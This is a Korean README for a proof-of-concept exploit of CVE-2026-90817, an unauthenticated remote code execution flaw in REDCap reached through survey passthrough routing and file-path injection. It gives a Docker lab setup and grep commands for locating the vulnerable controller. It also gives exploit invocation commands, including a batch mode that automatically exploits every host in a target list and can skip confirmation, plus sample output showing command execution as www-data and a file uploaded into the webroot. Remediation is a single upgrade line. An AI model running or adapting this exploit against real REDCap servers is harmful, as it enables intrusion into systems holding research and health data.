
CVE-2026-90817에 대한 Python PoC로, survey passthrough 라우팅과 파일 경로 주입을 통한 인증되지 않은 REDCap RCE이며, Docker 랩과 allowlist로 보호된 대상들을 포함합니다.
허가된 사용만. 모든 대상에 대한 법적 허가에 대한 책임은 귀하에게 있습니다. 제3자 REDCap 인스턴스에 대한 무단 사용은 불법입니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-90817 |
| 제품 | Vanderbilt University REDCap |
| CVSS | 9.8 Critical |
| 인증 | 인증되지 않음 (유효한 공개 설문 해시 필요) |
| 영향받는 버전 | REDCap 13.3.0 이상 |
| 수정된 버전 | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (파일 이름 또는 경로의 외부 제어), CWE-94 (코드 주입) |
공격 체인:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (단일 대상, 허용 목록 보호)
├── docker-compose.yml # MySQL + PHP-Apache 랩 스택
├── redcap-init/
│ ├── database.php # 랩용 REDCap DB 구성
│ └── php.ini # 랩용 PHP 설정
├── redcap-src/ # <-- 여기에 REDCap 소스를 추출하세요 (직접 제공)
├── targets.txt # 허가된 대상: 한 줄에 하나의 호스트
├── payload.txt # 업로드 모드용 샘플 파일
├── requirements.txt # Python 종속성
└── poc_results.txt # PoC 실행 후 생성됨
REDCap은 라이선스 소프트웨어입니다. 자체 랩을 위해 공식 채널을 통해 획득해야 합니다.
mkdir -p redcap-src
# redcap.zip 내용을 redcap-src/에 추출하세요
# 디렉터리에는 index.php, redcap_vX.X.X/ 등이 포함되어야 합니다.
docker compose up -d
MySQL 상태 검사가 통과될 때까지 기다린 후 다음을 엽니다:
http://localhost:8080
다음 데이터베이스 설정을 사용하여 REDCap 설치 마법사를 완료합니다 (redcap-init/database.php에 미리 구성됨):
| 설정 | 값 |
|---|---|
| 호스트 | db |
| 데이터베이스 | redcap |
| 사용자 | redcap |
| 비밀번호 | redcap123 |
s=).설문 URL 예시:
http://localhost:8080/surveys/?s=ABC123XYZ
설문 해시: ABC123XYZ
공개 권고문은 정확한 컨트롤러 경로나 매개변수 이름을 공개하지 않습니다. 랩을 설정한 후 redcap-src/에 대한 RE를 수행하고 poc_cve_2026_90817.py의 TODO 상수를 채우세요:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # 설문 패스스루를 통한 컨트롤러 경로
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # 파일 경로/스트림 매개변수 이름
WEBROOT_PATH = "/var/www/html/redcap/" # 컨테이너 내부의 웹루트
UPLOADER_NAME = "x.php" # PHP 업로더 파일 이름
설문 패스스루 라우팅 검색:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
데이터 가져오기 파일 경로/스트림 처리 검색:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
STAGE1_SUCCESS_MARKER를 성공적인 1단계 응답에 존재하는 문자열로 설정합니다 (선택 사항이지만 권장됨).
pip install -r requirements.txt
스크립트는 랩 호스트(localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost)도 아니고 targets.txt에 나열되지도 않은 대상을 거부합니다.
CVE-2026-90817은 인증되지 않음 — 로그인이 필요하지 않습니다. 유일한 사전 조건은 유효한 공개 설문 해시입니다 (설문 URL ?s=HASH에서).
도구는 대상의 공개 페이지를 스크래핑하여 설문 해시를 자동 검색할 수 있습니다 (최선 노력). 일반적인 REDCap 엔드포인트(/, /redcap/, /index.php, /surveys/)에서 /surveys/?s=HASH 링크를 확인합니다. 이는 대상이 설문 링크를 공개적으로 노출하는 경우(잘못 구성된 경우)에만 작동합니다. 제대로 구성된 REDCap 인스턴스의 경우 --hash를 통해 수동으로 해시를 제공하세요.
--hash는 선택 사항입니다 (생략 시 자동 검색)비랩 대상의 경우 한 줄에 하나의 호스트(FQDN 또는 IP)로 targets.txt를 생성합니다. 나열된 모든 호스트에 대한 법적 허가에 대한 책임은 귀하에게 있습니다.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
명시적 해시를 사용한 랩 대상:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
자동 검색된 해시를 사용한 랩 대상:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
--batch를 추가하면 targets.txt에 나열된 모든 호스트를 자동으로 익스플로잇합니다. 도구는 공개 페이지를 스크래핑하여 대상별로 설문 해시를 자동 검색합니다. 도구는 모든 대상을 출력하고 시작 전에 확인을 요청합니다 (스크립팅을 위해 프롬프트를 건너뛰려면 --yes 사용).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
포트는 --target에서 상속됩니다 (기본값 8080). 다른 포트를 사용하려면 --batch 앞에 --target http://placeholder:443/을 설정하세요.
각 대상의 결과는 출력 파일에 추가됩니다. 마지막에 요약이 출력됩니다: N success, M failed, T total.
| 인수 | 기본값 | 설명 |
|---|---|---|
--target | http://localhost:8080 | 대상 기본 URL |
--hash | (선택 사항) | 공개 설문 해시. 생략 시 공개 페이지 스크래핑으로 자동 검색 (최선 노력). |
--allowlist | targets.txt | 대상 파일, 한 줄에 하나의 호스트 |
--batch | 꺼짐 | 대상 파일의 모든 호스트를 반복하고 각각을 익스플로잇 |
--yes | 꺼짐 | 배치 확인 프롬프트 건너뛰기 |
--mode | both | id, upload 또는 both |
--out | poc_results.txt | 결과 로그 파일 |
--timeout | 30 | HTTP 타임아웃 (초) |
--upload-local | payload.txt | 업로드할 로컬 파일 |
--upload-remote | uploaded_payload.txt | 웹루트 아래의 원격 파일 이름 |
--skip-placeholder-check | 꺼짐 | TODO 상수가 채워지지 않은 상태에서 HTTP 흐름 드라이런 |
참고: 자동 검색은 설문 링크를 공개적으로 노출하는 대상에서만 작동합니다. 대부분의 REDCap 인스턴스의 경우 --hash를 수동으로 제공하세요.
성공 시 stdout은 다음을 표시합니다:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
결과는 poc_results.txt에 추가됩니다:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
REDCap 16.0.49 LTS, 17.3.10 LTS 또는 17.4.4 Standard Release로 업그레이드하세요 (해당하는 경우).
추가 강화: